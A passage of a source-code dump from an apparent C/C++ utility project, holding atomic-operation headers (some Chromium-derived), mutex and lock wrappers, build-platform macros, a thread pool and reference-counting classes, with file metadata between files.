"=r" (RetValue) : "r" (lpAddend), "0" (-1) : "memory" ); return RetValue - 1; } /*++ Function: InterlockedExchange The InterlockedExchange function atomically exchanges a pair of values. The function prevents more than one thread from using the same variable simultaneously. Parameters Target [in/out] Pointer to the value to exchange. The function sets this variable to Value, and returns its prior value. Value [in] Specifies a new value for the variable pointed to by Target. Return Values The function returns the initial value pointed to by Target. --*/ inline long InterlockedExchange( long volatile *Target, long Value) { long result; __asm__ __volatile__( "lock; xchgl %0,(%1)" : "=r" (result) : "r" (Target), "0" (Value) : "memory" ); return result; } /*++ Function: InterlockedCompareExchange The InterlockedCompareExchange function performs an atomic comparison of the specified values and exchanges the values, based on the outcome of the comparison. The function prevents more than one thread from using the same variable simultaneously. If you are exchanging pointer values, this function has been superseded by the InterlockedCompareExchangePointer function. Parameters Destination [in/out] Specifies the address of the destination value. The sign is ignored. Exchange [in] Specifies the exchange value. The sign is ignored. Comperand [in] Specifies the value to compare to Destination. The sign is ignored. Return Values The return value is the initial value of the destination. --*/ inline long InterlockedCompareExchange( long volatile *Destination, long Exchange, long Comperand) { long result; __asm__ __volatile__( "lock; cmpxchgl %2,(%1)" : "=a" (result) : "r" (Destination), "r" (Exchange), "0" (Comperand) : "memory" ); return result; } inline void MemoryBarrier( void) { long Barrier; __asm__ __volatile__( "xchg %%eax, %0" : : "m" (Barrier) : "memory", "eax"); } inline void YieldProcessor( void) { __asm__ __volatile__ ( "rep\n" "nop" ); } #endif //__INTERLOCK_H__ //__INTERLOCK_H__
zzip
base/InterLock.h
C
asf20
4,051
// Copyright (c) 2006-2008 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. // This file is an internal atomic implementation, use base/atomicops.h instead. #ifndef BASE_ATOMICOPS_INTERNALS_X86_MSVC_H_ #define BASE_ATOMICOPS_INTERNALS_X86_MSVC_H_ #pragma once #include <windows.h> namespace base { namespace subtle { inline Atomic32 NoBarrier_CompareAndSwap(volatile Atomic32* ptr, Atomic32 old_value, Atomic32 new_value) { LONG result = InterlockedCompareExchange( reinterpret_cast<volatile LONG*>(ptr), static_cast<LONG>(new_value), static_cast<LONG>(old_value)); return static_cast<Atomic32>(result); } inline Atomic32 NoBarrier_AtomicExchange(volatile Atomic32* ptr, Atomic32 new_value) { LONG result = InterlockedExchange( reinterpret_cast<volatile LONG*>(ptr), static_cast<LONG>(new_value)); return static_cast<Atomic32>(result); } inline Atomic32 Barrier_AtomicIncrement(volatile Atomic32* ptr, Atomic32 increment) { return InterlockedExchangeAdd( reinterpret_cast<volatile LONG*>(ptr), static_cast<LONG>(increment)) + increment; } inline Atomic32 NoBarrier_AtomicIncrement(volatile Atomic32* ptr, Atomic32 increment) { return Barrier_AtomicIncrement(ptr, increment); } #if !(defined(_MSC_VER) && _MSC_VER >= 1400) #error "We require at least vs2005 for MemoryBarrier" #endif inline void MemoryBarrier() { // We use MemoryBarrier from WinNT.h ::MemoryBarrier(); } inline Atomic32 Acquire_CompareAndSwap(volatile Atomic32* ptr, Atomic32 old_value, Atomic32 new_value) { return NoBarrier_CompareAndSwap(ptr, old_value, new_value); } inline Atomic32 Release_CompareAndSwap(volatile Atomic32* ptr, Atomic32 old_value, Atomic32 new_value) { return NoBarrier_CompareAndSwap(ptr, old_value, new_value); } inline void NoBarrier_Store(volatile Atomic32* ptr, Atomic32 value) { *ptr = value; } inline void Acquire_Store(volatile Atomic32* ptr, Atomic32 value) { NoBarrier_AtomicExchange(ptr, value); // acts as a barrier in this implementation } inline void Release_Store(volatile Atomic32* ptr, Atomic32 value) { *ptr = value; // works w/o barrier for current Intel chips as of June 2005 // See comments in Atomic64 version of Release_Store() below. } inline Atomic32 NoBarrier_Load(volatile const Atomic32* ptr) { return *ptr; } inline Atomic32 Acquire_Load(volatile const Atomic32* ptr) { Atomic32 value = *ptr; return value; } inline Atomic32 Release_Load(volatile const Atomic32* ptr) { MemoryBarrier(); return *ptr; } #if defined(_WIN64) // 64-bit low-level operations on 64-bit platform. COMPILE_ASSERT(sizeof(Atomic64) == sizeof(PVOID), atomic_word_is_atomic); inline Atomic64 NoBarrier_CompareAndSwap(volatile Atomic64* ptr, Atomic64 old_value, Atomic64 new_value) { PVOID result = InterlockedCompareExchangePointer( reinterpret_cast<volatile PVOID*>(ptr), reinterpret_cast<PVOID>(new_value), reinterpret_cast<PVOID>(old_value)); return reinterpret_cast<Atomic64>(result); } inline Atomic64 NoBarrier_AtomicExchange(volatile Atomic64* ptr, Atomic64 new_value) { PVOID result = InterlockedExchangePointer( reinterpret_cast<volatile PVOID*>(ptr), reinterpret_cast<PVOID>(new_value)); return reinterpret_cast<Atomic64>(result); } inline Atomic64 Barrier_AtomicIncrement(volatile Atomic64* ptr, Atomic64 increment) { return InterlockedExchangeAdd64( reinterpret_cast<volatile LONGLONG*>(ptr), static_cast<LONGLONG>(increment)) + increment; } inline Atomic64 NoBarrier_AtomicIncrement(volatile Atomic64* ptr, Atomic64 increment) { return Barrier_AtomicIncrement(ptr, increment); } inline void NoBarrier_Store(volatile Atomic64* ptr, Atomic64 value) { *ptr = value; } inline void Acquire_Store(volatile Atomic64* ptr, Atomic64 value) { NoBarrier_AtomicExchange(ptr, value); // acts as a barrier in this implementation } inline void Release_Store(volatile Atomic64* ptr, Atomic64 value) { *ptr = value; // works w/o barrier for current Intel chips as of June 2005 // When new chips come out, check: // IA-32 Intel Architecture Software Developer's Manual, Volume 3: // System Programming Guide, Chatper 7: Multiple-processor management, // Section 7.2, Memory Ordering. // Last seen at: // http://developer.intel.com/design/pentium4/manuals/index_new.htm } inline Atomic64 NoBarrier_Load(volatile const Atomic64* ptr) { return *ptr; } inline Atomic64 Acquire_Load(volatile const Atomic64* ptr) { Atomic64 value = *ptr; return value; } inline Atomic64 Release_Load(volatile const Atomic64* ptr) { MemoryBarrier(); return *ptr; } inline Atomic64 Acquire_CompareAndSwap(volatile Atomic64* ptr, Atomic64 old_value, Atomic64 new_value) { return NoBarrier_CompareAndSwap(ptr, old_value, new_value); } inline Atomic64 Release_CompareAndSwap(volatile Atomic64* ptr, Atomic64 old_value, Atomic64 new_value) { return NoBarrier_CompareAndSwap(ptr, old_value, new_value); } #endif // defined(_WIN64) } // namespace base::subtle } // namespace base #endif // BASE_ATOMICOPS_INTERNALS_X86_MSVC_H_
zzip
base/atomicops_internals_x86_msvc.h
C++
asf20
5,928
#ifndef __LOCKER_H__ #define __LOCKER_H__ #ifndef WIN32 #include <pthread.h> #include <sys/types.h> #include <errno.h> #if defined( __GNUC__ ) && ( defined( __i386__ ) || defined( __x86_64__ ) ) #include "InterLock.h" #endif #else #define WIN32_LEAN_AND_MEAN #include <windows.h> #endif #ifdef WIN32 typedef HANDLE pthread_t; typedef HANDLE pthread_mutex_t; typedef HANDLE pthread_cond_t; typedef DWORD pthread_key_t; #endif class ILock { public: virtual long lock() = 0; virtual long unlock() = 0; virtual ~ILock(){} ILock(){}; private: ILock(const ILock&rhs){} ILock& operator=(const ILock& rhs) {} }; ////////////////////////////////////////////////////////////////////////// // Template class AutoLock template <class T> class AutoLock { public: AutoLock(T& locker) : m_locker(locker) { m_locker.lock(); } ~AutoLock() { m_locker.unlock(); } private: T& m_locker; }; ////////////////////////////////////////////////////////////////////////// // Template class AutoLockEx template <class T> class AutoLockEx { public: AutoLockEx(T& locker,bool block = true,bool bManu = false) : m_locker(locker) , m_bLocked(false) { if(!bManu) { if (block == true) { m_locker.lock(); m_bLocked = true; } else { m_bLocked = m_locker.try_lock(); } } } ~AutoLockEx(){ if(m_bLocked) m_locker.Unlock(); } bool locked(){ return m_bLocked; } bool try_lock(){ m_bLocked = m_locker.tryLock(); return m_bLocked; } void unlock(){ if(m_bLocked){ m_bLocked=false; m_locker.unlock(); } } private: T& m_locker; bool m_bLocked; }; ////////////////////////////////////////////////////////////////////////// // class MutexLock class MutexLock : public ILock { public: MutexLock(const char* name = 0) { #ifdef WIN32 m_hMutex = CreateMutexA(NULL, FALSE, name); #else pthread_mutexattr_t attr; pthread_mutexattr_init(&attr); pthread_mutexattr_settype(&attr,PTHREAD_MUTEX_RECURSIVE_NP); pthread_mutex_init(&m_hMutex, &attr); #endif } ~MutexLock() { #ifdef WIN32 CloseHandle(m_hMutex); #else pthread_mutex_destroy(&m_hMutex); #endif } bool try_lock() { #ifdef WIN32 return WaitForSingleObject(m_hMutex,0) == WAIT_OBJECT_0 ; #else return pthread_mutex_trylock(&m_hMutex) != EBUSY; #endif } long lock() { #ifdef WIN32 if(WaitForSingleObject(m_hMutex,INFINITE) == WAIT_OBJECT_0) { return 1; } return 0; #else pthread_mutex_lock(&m_hMutex); return 1; #endif } long unlock() { #ifdef WIN32 ReleaseMutex(m_hMutex); #else pthread_mutex_unlock(&m_hMutex); #endif return 1; } private: pthread_mutex_t m_hMutex; // Alias name of the mutex to be protected }; typedef MutexLock MutexLockEx; #ifdef WIN32 class CriticalSection : public ILock { public: CriticalSection() { InitializeCriticalSection(&m_csLock); } ~CriticalSection(){ DeleteCriticalSection(&m_csLock); } long lock() { EnterCriticalSection(&m_csLock); return m_csLock.LockCount; } long unlock(){ LeaveCriticalSection(&m_csLock); return m_csLock.LockCount; } bool try_lock() { return TryEnterCriticalSection(&m_csLock) != 0; } private: CRITICAL_SECTION m_csLock; }; typedef CriticalSection CriticalSectionEx; #else typedef MutexLock CriticalSection; #endif //WIN32 #endif //__LOCKER_H__
zzip
base/Locker.h
C++
asf20
3,518
// Copyright (c) 2006-2008 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. // This file adds defines about the platform we're currently building on. // Operating System: // OS_WIN / OS_MACOSX / OS_LINUX / OS_POSIX (MACOSX or LINUX) // Compiler: // COMPILER_MSVC / COMPILER_GCC // Processor: // ARCH_CPU_X86 / ARCH_CPU_X86_64 / ARCH_CPU_X86_FAMILY (X86 or X86_64) // ARCH_CPU_32_BITS / ARCH_CPU_64_BITS #ifndef BUILD_BUILD_CONFIG_H_ #define BUILD_BUILD_CONFIG_H_ // A set of macros to use for platform detection. #if defined(__APPLE__) #define OS_MACOSX 1 #elif defined(__linux__) #define OS_LINUX 1 // Use TOOLKIT_GTK on linux if TOOLKIT_VIEWS isn't defined. #if !defined(TOOLKIT_VIEWS) #define TOOLKIT_GTK #endif #elif defined(_WIN32) #define OS_WIN 1 #define TOOLKIT_VIEWS 1 #elif defined(__FreeBSD__) #define OS_FREEBSD 1 #define TOOLKIT_GTK #elif defined(__OpenBSD__) #define OS_OPENBSD 1 #define TOOLKIT_GTK #elif defined(__sun) #define OS_SOLARIS 1 #define TOOLKIT_GTK #else #error Please add support for your platform in build/build_config.h #endif // A flag derived from the above flags, used to cover GTK code in // both TOOLKIT_GTK and TOOLKIT_VIEWS. #if defined(TOOLKIT_GTK) || (defined(TOOLKIT_VIEWS) && !defined(OS_WIN)) #define TOOLKIT_USES_GTK 1 #endif #if defined(OS_LINUX) || defined(OS_FREEBSD) || defined(OS_OPENBSD) || \ defined(OS_SOLARIS) #if !defined(USE_OPENSSL) #define USE_NSS 1 // Default to use NSS for crypto, unless OpenSSL is chosen. #endif #define USE_X11 1 // Use X for graphics. #endif #if defined(USE_OPENSSL) && defined(USE_NSS) #error Cannot use both OpenSSL and NSS #endif // For access to standard POSIXish features, use OS_POSIX instead of a // more specific macro. #if defined(OS_MACOSX) || defined(OS_LINUX) || defined(OS_FREEBSD) || \ defined(OS_OPENBSD) || defined(OS_SOLARIS) #define OS_POSIX 1 // Use base::DataPack for name/value pairs. #define USE_BASE_DATA_PACK 1 #endif // Use tcmalloc #if (defined(OS_WIN) || defined(OS_LINUX)) && !defined(NO_TCMALLOC) #define USE_TCMALLOC 1 #endif // Use heapchecker. #if defined(OS_LINUX) && !defined(NO_HEAPCHECKER) #define USE_HEAPCHECKER 1 #endif // Compiler detection. #if defined(__GNUC__) #define COMPILER_GCC 1 #elif defined(_MSC_VER) #define COMPILER_MSVC 1 #else #error Please add support for your compiler in build/build_config.h #endif // Processor architecture detection. For more info on what's defined, see: // http://msdn.microsoft.com/en-us/library/b0084kay.aspx // http://www.agner.org/optimize/calling_conventions.pdf // or with gcc, run: "echo | gcc -E -dM -" #if defined(_M_X64) || defined(__x86_64__) #define ARCH_CPU_X86_FAMILY 1 #define ARCH_CPU_X86_64 1 #define ARCH_CPU_64_BITS 1 #elif defined(_M_IX86) || defined(__i386__) #define ARCH_CPU_X86_FAMILY 1 #define ARCH_CPU_X86 1 #define ARCH_CPU_32_BITS 1 #elif defined(__ARMEL__) #define ARCH_CPU_ARM_FAMILY 1 #define ARCH_CPU_ARMEL 1 #define ARCH_CPU_32_BITS 1 #define WCHAR_T_IS_UNSIGNED 1 #else #error Please add support for your architecture in build/build_config.h #endif // Type detection for wchar_t. #if defined(OS_WIN) #define WCHAR_T_IS_UTF16 #elif defined(OS_POSIX) && defined(COMPILER_GCC) && \ defined(__WCHAR_MAX__) && \ (__WCHAR_MAX__ == 0x7fffffff || __WCHAR_MAX__ == 0xffffffff) #define WCHAR_T_IS_UTF32 #elif defined(OS_POSIX) && defined(COMPILER_GCC) && \ defined(__WCHAR_MAX__) && \ (__WCHAR_MAX__ == 0x7fff || __WCHAR_MAX__ == 0xffff) // On Posix, we'll detect short wchar_t, but projects aren't guaranteed to // compile in this mode (in particular, Chrome doesn't). This is intended for // other projects using base who manage their own dependencies and make sure // short wchar works for them. #define WCHAR_T_IS_UTF16 #else #error Please add support for your compiler in build/build_config.h #endif #endif // BUILD_BUILD_CONFIG_H_
zzip
base/builder_config.h
C
asf20
3,959
#include "ThreadPool.h" namespace q { WorkThread::WorkThread( ThreadPool* pool ) : pool_(pool) { } WorkThread::~WorkThread() {} bool WorkThread::loop() { if(NULL != pool_) { return pool_->work_proc(); } return false; } //////////////////////////////////////////////////////////// // class ThreadPool //////////////////////////////////////////////////////////// ThreadPool::ThreadPool( int num ) : threads_num(num) { } ThreadPool::~ThreadPool() { } bool ThreadPool::run() { task_queue_.open(); for(int i=0; i < threads_num; i++) { WorkThread* p = new WorkThread(this); threads.push_back(p); p->start(); } return true; } void ThreadPool::stop() { task_queue_.close(); for(size_t i=0; i < threads.size(); i++) { WorkThread* p = threads[i]; if(p) { p->stop(); } } } bool ThreadPool::newtask( ITask* task, int time /*= -1*/, int times /*= 0*/ ) { return task_queue_.push(task); } bool ThreadPool::work_proc() { RefPtr<ITask> pTask; while(task_queue_.pop(pTask)) { pTask->Task(); pTask->OnFinish(); } return true; } //////////////////////////////////////////////////////////// // class ThreadPoolManager //////////////////////////////////////////////////////////// ThreadPoolManager::ThreadPoolManager() { } ThreadPoolManager::~ThreadPoolManager() { stop(); if(NULL != thread_pool_) { delete thread_pool_; } } bool ThreadPoolManager::run(int thread_num) { if(thread_num <= 0) { thread_num = 5; } thread_pool_ = new ThreadPool(thread_num); return thread_pool_->run(); } bool ThreadPoolManager::newtask( ITask* task, int time /*= -1*/, int times /*= 0*/ ) { //assert(NULL != thread_pool_); return thread_pool_->newtask(task, time, times); } void ThreadPoolManager::stop() { thread_pool_->stop(); } } // namespace q
zzip
base/ThreadPool.cc
C++
asf20
1,912
#ifndef __APPLICATION_H__ #define __APPLICATION_H__ #include "thread.h" namespace base { namespace framework { template<class T> class MainThread; template<class T> class Application { public: Application() {}; ~Application(){}; virtual bool run() { return true; } virtual bool stop() { return true; } private: MainThread<T> MainThreadLoop; }; template<class T> class MainThread : public Thread { bool ThreadLoop() { return true; } }; } // namespace framework } // namespace base #endif
zzip
base/application.h
C++
asf20
571
// Copyright (c) 2009 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "RefCounted.h" namespace base { namespace subtle { RefCountedBase::RefCountedBase() : ref_count_(0) // #ifndef NDEBUG // , in_dtor_(false) // #endif { } RefCountedBase::~RefCountedBase() { // #ifndef NDEBUG // DCHECK(in_dtor_) << "RefCounted object deleted without calling Release()"; // #endif } void RefCountedBase::add_ref() const { // TODO(maruel): Add back once it doesn't assert 500 times/sec. // Current thread books the critical section "AddRelease" without release it. // DFAKE_SCOPED_LOCK_THREAD_LOCKED(add_release_); // #ifndef NDEBUG // DCHECK(!in_dtor_); // #endif ++ref_count_; } bool RefCountedBase::release() const { // TODO(maruel): Add back once it doesn't assert 500 times/sec. // Current thread books the critical section "AddRelease" without release it. // DFAKE_SCOPED_LOCK_THREAD_LOCKED(add_release_); // #ifndef NDEBUG // DCHECK(!in_dtor_); // #endif if (--ref_count_ == 0) { // #ifndef NDEBUG // in_dtor_ = true; // #endif return true; } return false; } RefCountedThreadSafeBase::RefCountedThreadSafeBase() : ref_count_(0) { // #ifndef NDEBUG // in_dtor_ = false; // #endif } RefCountedThreadSafeBase::~RefCountedThreadSafeBase() { // #ifndef NDEBUG // DCHECK(in_dtor_) << "RefCountedThreadSafe object deleted without " // "calling Release()"; // #endif } void RefCountedThreadSafeBase::add_ref() const { // #ifndef NDEBUG // DCHECK(!in_dtor_); // #endif AtomicRefCountInc(&ref_count_); } bool RefCountedThreadSafeBase::release() const { // #ifndef NDEBUG // DCHECK(!in_dtor_); // DCHECK(!AtomicRefCountIsZero(&ref_count_)); // #endif if (!AtomicRefCountDec(&ref_count_)) { // #ifndef NDEBUG // in_dtor_ = true; // #endif return true; } return false; } bool RefCountedThreadSafeBase::HasOneRef() const { return AtomicRefCountIsOne( &const_cast<RefCountedThreadSafeBase*>(this)->ref_count_); } } // namespace subtle } // namespace base
zzip
base/RefCounted.cc
C++
asf20
2,156
// Copyright (c) 2010 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef BASE_REF_COUNTED_H_ #define BASE_REF_COUNTED_H_ #pragma once #include "atomic_ref_count.h" namespace base { namespace subtle { class RefCountedBase { public: static bool ImplementsThreadSafeReferenceCounting() { return false; } bool HasOneRef() const { return ref_count_ == 1; } protected: RefCountedBase(); ~RefCountedBase(); void add_ref() const; // Returns true if the object should self-delete. bool release() const; private: mutable int ref_count_; // #ifndef NDEBUG // mutable bool in_dtor_; // #endif //DFAKE_MUTEX(add_release_); DISALLOW_COPY_AND_ASSIGN(RefCountedBase); }; class RefCountedThreadSafeBase { public: static bool ImplementsThreadSafeReferenceCounting() { return true; } bool HasOneRef() const; protected: RefCountedThreadSafeBase(); ~RefCountedThreadSafeBase(); void add_ref() const; // Returns true if the object should self-delete. bool release() const; private: mutable AtomicRefCount ref_count_; // #ifndef NDEBUG // mutable bool in_dtor_; // #endif DISALLOW_COPY_AND_ASSIGN(RefCountedThreadSafeBase); }; } // namespace subtle // // A base class for reference counted classes. Otherwise, known as a cheap // knock-off of WebKit's RefCounted<T> class. To use this guy just extend your // class from it like so: // // class MyFoo : public base::RefCounted<MyFoo> { // ... // private: // friend class base::RefCounted<MyFoo>; // ~MyFoo(); // }; // // You should always make your destructor private, to avoid any code deleting // the object accidently while there are references to it. template <class T> class RefCounted : public subtle::RefCountedBase { public: RefCounted() { } ~RefCounted() { } void add_ref() const { subtle::RefCountedBase::add_ref(); } void release() const { if (subtle::RefCountedBase::release()) { delete static_cast<const T*>(this); } } private: DISALLOW_COPY_AND_ASSIGN(RefCounted<T>); }; // Forward declaration. template <class T, typename Traits> class RefCountedThreadSafe; // Default traits for RefCountedThreadSafe<T>. Deletes the object when its ref // count reaches 0. Overload to delete it on a different thread etc. template<typename T> struct DefaultRefCountedThreadSafeTraits { static void Destruct(const T* x) { // Delete through RefCountedThreadSafe to make child classes only need to be // friend with RefCountedThreadSafe instead of this struct, which is an // implementation detail. RefCountedThreadSafe<T, DefaultRefCountedThreadSafeTraits>::DeleteInternal(x); } }; // // A thread-safe variant of RefCounted<T> // // class MyFoo : public base::RefCountedThreadSafe<MyFoo> { // ... // }; // // If you're using the default trait, then you should add compile time // asserts that no one else is deleting your object. i.e. // private: // friend class base::RefCountedThreadSafe<MyFoo>; // ~MyFoo(); template <class T, typename Traits = DefaultRefCountedThreadSafeTraits<T> > class RefCountedThreadSafe : public subtle::RefCountedThreadSafeBase { public: RefCountedThreadSafe() { } ~RefCountedThreadSafe() { } void add_ref() const { subtle::RefCountedThreadSafeBase::add_ref(); } void release() const { if (subtle::RefCountedThreadSafeBase::release()) { Traits::Destruct(static_cast<const T*>(this)); } } private: friend struct DefaultRefCountedThreadSafeTraits<T>; static void DeleteInternal(const T* x) { delete x; } DISALLOW_COPY_AND_ASSIGN(RefCountedThreadSafe); }; // // A wrapper for some piece of data so we can place other things in // scoped_refptrs<>. // template<typename T> class RefCountedData : public base::RefCounted< base::RefCountedData<T> > { public: RefCountedData() : data() {} RefCountedData(const T& in_value) : data(in_value) {} T data; }; } // namespace base // // A smart pointer class for reference counted objects. Use this class instead // of calling AddRef and Release manually on a reference counted object to // avoid common memory leaks caused by forgetting to Release an object // reference. Sample usage: // // class MyFoo : public RefCounted<MyFoo> { // ... // }; // // void some_function() { // scoped_refptr<MyFoo> foo = new MyFoo(); // foo->Method(param); // // |foo| is released when this function returns // } // // void some_other_function() { // scoped_refptr<MyFoo> foo = new MyFoo(); // ... // foo = NULL; // explicitly releases |foo| // ... // if (foo) // foo->Method(param); // } // // The above examples show how scoped_refptr<T> acts like a pointer to T. // Given two scoped_refptr<T> classes, it is also possible to exchange // references between the two objects, like so: // // { // scoped_refptr<MyFoo> a = new MyFoo(); // scoped_refptr<MyFoo> b; // // b.swap(a); // // now, |b| references the MyFoo object, and |a| references NULL. // } // // To make both |a| and |b| in the above example reference the same MyFoo // object, simply use the assignment operator: // // { // scoped_refptr<MyFoo> a = new MyFoo(); // scoped_refptr<MyFoo> b; // // b = a; // // now, |a| and |b| each own a reference to the same MyFoo object. // } // template <class T> class RefPtr { public: RefPtr() : ptr_(NULL) { } RefPtr(T* p) : ptr_(p) { if (ptr_) ptr_->add_ref(); } RefPtr(const RefPtr<T>& r) : ptr_(r.ptr_) { if (ptr_) ptr_->add_ref(); } template <typename U> RefPtr(const RefPtr<U>& r) : ptr_(r.get()) { if (ptr_) ptr_->add_ref(); } ~RefPtr() { if (ptr_) ptr_->release(); } T* get() const { return ptr_; } operator T*() const { return ptr_; } T* operator->() const { return ptr_; } // Release a pointer. // The return value is the current pointer held by this object. // If this object holds a NULL pointer, the return value is NULL. // After this operation, this object will hold a NULL pointer, // and will not own the object any more. T* release() { T* retVal = ptr_; ptr_ = NULL; return retVal; } RefPtr<T>& operator=(T* p) { // AddRef first so that self assignment should work if (p) p->add_ref(); if (ptr_ ) ptr_ ->release(); ptr_ = p; return *this; } RefPtr<T>& operator=(const RefPtr<T>& r) { return *this = r.ptr_; } template <typename U> RefPtr<T>& operator=(const RefPtr<U>& r) { return *this = r.get(); } void swap(T** pp) { T* p = ptr_; ptr_ = *pp; *pp = p; } void swap(RefPtr<T>& r) { swap(&r.ptr_); } public: T* ptr_; }; // Handy utility for creating a scoped_refptr<T> out of a T* explicitly without // having to retype all the template arguments template <typename T> RefPtr<T> make_scoped_refptr(T* t) { return RefPtr<T>(t); } #endif // BASE_REF_COUNTED_H_
zzip
base/RefCounted.h
C++
asf20
7,065
// Copyright (c) 2006-2008 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. // This file is an internal atomic implementation, use base/atomicops.h instead. #ifndef BASE_ATOMICOPS_INTERNALS_X86_MACOSX_H_ #define BASE_ATOMICOPS_INTERNALS_X86_MACOSX_H_ #pragma once #include <libkern/OSAtomic.h> namespace base { namespace subtle { inline Atomic32 NoBarrier_CompareAndSwap(volatile Atomic32 *ptr, Atomic32 old_value, Atomic32 new_value) { Atomic32 prev_value; do { if (OSAtomicCompareAndSwap32(old_value, new_value, const_cast<Atomic32*>(ptr))) { return old_value; } prev_value = *ptr; } while (prev_value == old_value); return prev_value; } inline Atomic32 NoBarrier_AtomicExchange(volatile Atomic32 *ptr, Atomic32 new_value) { Atomic32 old_value; do { old_value = *ptr; } while (!OSAtomicCompareAndSwap32(old_value, new_value, const_cast<Atomic32*>(ptr))); return old_value; } inline Atomic32 NoBarrier_AtomicIncrement(volatile Atomic32 *ptr, Atomic32 increment) { return OSAtomicAdd32(increment, const_cast<Atomic32*>(ptr)); } inline Atomic32 Barrier_AtomicIncrement(volatile Atomic32 *ptr, Atomic32 increment) { return OSAtomicAdd32Barrier(increment, const_cast<Atomic32*>(ptr)); } inline void MemoryBarrier() { OSMemoryBarrier(); } inline Atomic32 Acquire_CompareAndSwap(volatile Atomic32 *ptr, Atomic32 old_value, Atomic32 new_value) { Atomic32 prev_value; do { if (OSAtomicCompareAndSwap32Barrier(old_value, new_value, const_cast<Atomic32*>(ptr))) { return old_value; } prev_value = *ptr; } while (prev_value == old_value); return prev_value; } inline Atomic32 Release_CompareAndSwap(volatile Atomic32 *ptr, Atomic32 old_value, Atomic32 new_value) { return Acquire_CompareAndSwap(ptr, old_value, new_value); } inline void NoBarrier_Store(volatile Atomic32* ptr, Atomic32 value) { *ptr = value; } inline void Acquire_Store(volatile Atomic32 *ptr, Atomic32 value) { *ptr = value; MemoryBarrier(); } inline void Release_Store(volatile Atomic32 *ptr, Atomic32 value) { MemoryBarrier(); *ptr = value; } inline Atomic32 NoBarrier_Load(volatile const Atomic32* ptr) { return *ptr; } inline Atomic32 Acquire_Load(volatile const Atomic32 *ptr) { Atomic32 value = *ptr; MemoryBarrier(); return value; } inline Atomic32 Release_Load(volatile const Atomic32 *ptr) { MemoryBarrier(); return *ptr; } #ifdef __LP64__ // 64-bit implementation on 64-bit platform inline Atomic64 NoBarrier_CompareAndSwap(volatile Atomic64 *ptr, Atomic64 old_value, Atomic64 new_value) { Atomic64 prev_value; do { if (OSAtomicCompareAndSwap64(old_value, new_value, const_cast<Atomic64*>(ptr))) { return old_value; } prev_value = *ptr; } while (prev_value == old_value); return prev_value; } inline Atomic64 NoBarrier_AtomicExchange(volatile Atomic64 *ptr, Atomic64 new_value) { Atomic64 old_value; do { old_value = *ptr; } while (!OSAtomicCompareAndSwap64(old_value, new_value, const_cast<Atomic64*>(ptr))); return old_value; } inline Atomic64 NoBarrier_AtomicIncrement(volatile Atomic64 *ptr, Atomic64 increment) { return OSAtomicAdd64(increment, const_cast<Atomic64*>(ptr)); } inline Atomic64 Barrier_AtomicIncrement(volatile Atomic64 *ptr, Atomic64 increment) { return OSAtomicAdd64Barrier(increment, const_cast<Atomic64*>(ptr)); } inline Atomic64 Acquire_CompareAndSwap(volatile Atomic64 *ptr, Atomic64 old_value, Atomic64 new_value) { Atomic64 prev_value; do { if (OSAtomicCompareAndSwap64Barrier(old_value, new_value, const_cast<Atomic64*>(ptr))) { return old_value; } prev_value = *ptr; } while (prev_value == old_value); return prev_value; } inline Atomic64 Release_CompareAndSwap(volatile Atomic64 *ptr, Atomic64 old_value, Atomic64 new_value) { // The lib kern interface does not distinguish between // Acquire and Release memory barriers; they are equivalent. return Acquire_CompareAndSwap(ptr, old_value, new_value); } inline void NoBarrier_Store(volatile Atomic64* ptr, Atomic64 value) { *ptr = value; } inline void Acquire_Store(volatile Atomic64 *ptr, Atomic64 value) { *ptr = value; MemoryBarrier(); } inline void Release_Store(volatile Atomic64 *ptr, Atomic64 value) { MemoryBarrier(); *ptr = value; } inline Atomic64 NoBarrier_Load(volatile const Atomic64* ptr) { return *ptr; } inline Atomic64 Acquire_Load(volatile const Atomic64 *ptr) { Atomic64 value = *ptr; MemoryBarrier(); return value; } inline Atomic64 Release_Load(volatile const Atomic64 *ptr) { MemoryBarrier(); return *ptr; } #endif // defined(__LP64__) // MacOS uses long for intptr_t, AtomicWord and Atomic32 are always different // on the Mac, even when they are the same size. We need to explicitly cast // from AtomicWord to Atomic32/64 to implement the AtomicWord interface. #ifdef __LP64__ #define AtomicWordCastType Atomic64 #else #define AtomicWordCastType Atomic32 #endif inline AtomicWord NoBarrier_CompareAndSwap(volatile AtomicWord* ptr, AtomicWord old_value, AtomicWord new_value) { return NoBarrier_CompareAndSwap( reinterpret_cast<volatile AtomicWordCastType*>(ptr), old_value, new_value); } inline AtomicWord NoBarrier_AtomicExchange(volatile AtomicWord* ptr, AtomicWord new_value) { return NoBarrier_AtomicExchange( reinterpret_cast<volatile AtomicWordCastType*>(ptr), new_value); } inline AtomicWord NoBarrier_AtomicIncrement(volatile AtomicWord* ptr, AtomicWord increment) { return NoBarrier_AtomicIncrement( reinterpret_cast<volatile AtomicWordCastType*>(ptr), increment); } inline AtomicWord Barrier_AtomicIncrement(volatile AtomicWord* ptr, AtomicWord increment) { return Barrier_AtomicIncrement( reinterpret_cast<volatile AtomicWordCastType*>(ptr), increment); } inline AtomicWord Acquire_CompareAndSwap(volatile AtomicWord* ptr, AtomicWord old_value, AtomicWord new_value) { return base::subtle::Acquire_CompareAndSwap( reinterpret_cast<volatile AtomicWordCastType*>(ptr), old_value, new_value); } inline AtomicWord Release_CompareAndSwap(volatile AtomicWord* ptr, AtomicWord old_value, AtomicWord new_value) { return base::subtle::Release_CompareAndSwap( reinterpret_cast<volatile AtomicWordCastType*>(ptr), old_value, new_value); } inline void NoBarrier_Store(volatile AtomicWord *ptr, AtomicWord value) { NoBarrier_Store( reinterpret_cast<volatile AtomicWordCastType*>(ptr), value); } inline void Acquire_Store(volatile AtomicWord* ptr, AtomicWord value) { return base::subtle::Acquire_Store( reinterpret_cast<volatile AtomicWordCastType*>(ptr), value); } inline void Release_Store(volatile AtomicWord* ptr, AtomicWord value) { return base::subtle::Release_Store( reinterpret_cast<volatile AtomicWordCastType*>(ptr), value); } inline AtomicWord NoBarrier_Load(volatile const AtomicWord *ptr) { return NoBarrier_Load( reinterpret_cast<volatile const AtomicWordCastType*>(ptr)); } inline AtomicWord Acquire_Load(volatile const AtomicWord* ptr) { return base::subtle::Acquire_Load( reinterpret_cast<volatile const 